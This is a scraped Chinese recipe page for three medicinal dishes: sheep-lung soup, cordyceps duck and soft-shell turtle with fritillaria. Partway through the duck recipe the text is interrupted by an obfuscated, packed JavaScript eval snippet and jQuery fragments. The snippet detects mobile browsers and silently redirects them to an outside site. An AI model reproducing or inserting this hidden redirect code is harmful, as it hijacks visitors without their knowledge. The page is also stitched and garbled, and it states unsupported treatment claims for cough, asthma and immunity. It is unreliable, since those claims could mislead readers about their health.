羊肺汤——


    ## 羊肺汤调养药膳


    羊肺汤是一道传统的中式药膳，具有补肺、止咳、平喘等功效。以下是一份简单的羊肺汤调养药膳的做法：


    ### 一、材料


    - 羊肺：1 个


    - 生姜：3 片


    - 大葱：1 根


    - 料酒：适量


    - 盐：适量


    - 胡椒粉：适量


    - 香菜：适量


    ### 二、做法


    1. 将羊肺洗净，切成小块，放入开水中焯水去腥，捞出备用。


    2. 生姜洗净切片，大葱洗净切段备用。


    3. 锅中加入适量清水，放入羊肺、生姜、大葱、料酒，大火烧开后转小火炖煮 1-2 小时，至羊肺熟透。


    4. 加入适量盐和胡椒粉调味，撒上香菜即可。


    ### 三、功效


    - 补肺：羊肺含有丰富的蛋白质、维生素和矿物质，具有补肺的功效。


    - 止咳：羊肺汤具有止咳平喘的作用，可用于治疗咳嗽、气喘等症状。


    - 平喘：羊肺汤中的生姜和大葱具有散寒解表、平喘止咳的作用，可用于治疗风寒感冒引起的咳嗽、气喘等症状。


    ### 四、注意事项


    - 羊肺汤不宜与半夏、菖蒲、荞麦等食物同食。


    - 羊肺汤不宜过量食用，以免引起消化不良。


    - 羊肺汤不宜与中药同时服用，以免影响药效。


    虫草全鸭——


    虫草全鸭调养药膳


    虫草全鸭是一道传统的中式药膳，以冬虫夏草和鸭子为主要食材，配以多种中药材和调料，炖煮而成。这道药膳具有滋阴补肾、益气养血、强身健体等功效，适合身体虚弱、免疫力低下、气血不足等人群食用。


    一、材料准备


    1. 主要食材：冬虫夏草 5 克，鸭子 1 只（约 1500 克）。


    2. 中药材：党参 10 克，黄芪 10 克，熟地 10 克，当归 10 克，白芍 10 克，川芎 5 克，白术 10 克，茯苓 10 克，炙甘草 5 克。


    3. 调料：生姜 10 克，大葱 10 克，料酒 10 克，盐 5 克，胡椒粉 3 克，鸡精 3 克。


    二、制作方法


    1. 将鸭子宰杀后，去除内脏和杂质，洗净备用。


    2. 将冬虫夏草用清水洗净，备用。


    3. 将中药材用清水洗净，放入纱布袋中，扎紧袋口备用。


    4. 将鸭子放入锅中，加入适量清水，大火烧开后撇去浮沫，加入料酒、生姜、大葱，转小火炖煮 1 小时。


    5. 将纱布袋放入锅中，继续炖煮 1 小时。


    6. 加入盐、胡椒粉、鸡精调味，即可出锅。


    三、注意事项


    1. 冬虫夏草是一种珍贵的中药材，价格较高，购买时要注意辨别真伪。


    2. 鸭子要选择新鲜的、健康的，最好是农家散养的鸭子。


    3. 中药材的用量要根据个人体质和病情进行调整，建议在医生的指导下使用。


    4. 炖煮时要注意火候，先用大火烧开，再转小火炖煮，以免鸭子煮烂。


    5. 食用时要注意适量，不宜过量食用。


    总之，虫草全鸭是一道营养丰富、滋补身体的药膳，适合身体虚弱、免疫力低下、气血不足等


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13447558|141541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人群食用。但是，药膳不能替代药物治疗，如果身体出现不适，应及时就医。


    贝母甲鱼——


    # 贝母甲鱼调养药膳


    贝母甲鱼是一道传统的药膳，具有滋阴润肺、止咳化痰等功效。以下是贝母甲鱼调养药膳的制作方法和功效。


    ## 一、材料


    - 甲鱼 1 只（约 500 克）


    - 川贝母 5 克


    - 料酒、盐、葱、姜、味精各适量


    ## 二、制作方法


    1. 将甲鱼宰杀，去内脏，洗净，放入开水中焯水去腥。


    2. 将川贝母洗净，用纱布包好。


    3. 将甲鱼放入砂锅中，加入适量清水，放入川贝母包、料酒、盐、葱、姜，大火烧开后转小火炖煮 1 小时左右，至甲鱼肉熟烂。


    4. 加入味精调味即可。


    ## 三、功效


    1. **滋阴润肺**：贝母甲鱼中的甲鱼具有滋阴润燥的功效，川贝母则具有润肺止咳的作用，两者搭配食用可以起到滋阴润肺的作用。


    2. **止咳化痰**：贝母甲鱼中的川贝母具有止咳化痰的作用，对于肺热咳嗽、咳痰等症状有一定的缓解作用。


    3. **提高免疫力**：贝母甲鱼中的甲鱼富含蛋白质、维生素和矿物质等营养成分，食用后可以提高身体的免疫力，增强抵抗力。


    ## 四、注意事项


    1. 贝母甲鱼适合阴虚肺热、咳嗽咳痰等人群食用，但对于脾胃虚寒、腹泻等人群不宜食用。


    2. 贝母甲鱼不宜与柿子、兔肉、鸭肉等食物同食，以免影响药效。


    本小章还未完，请点击下一页继续阅读后面精彩内容！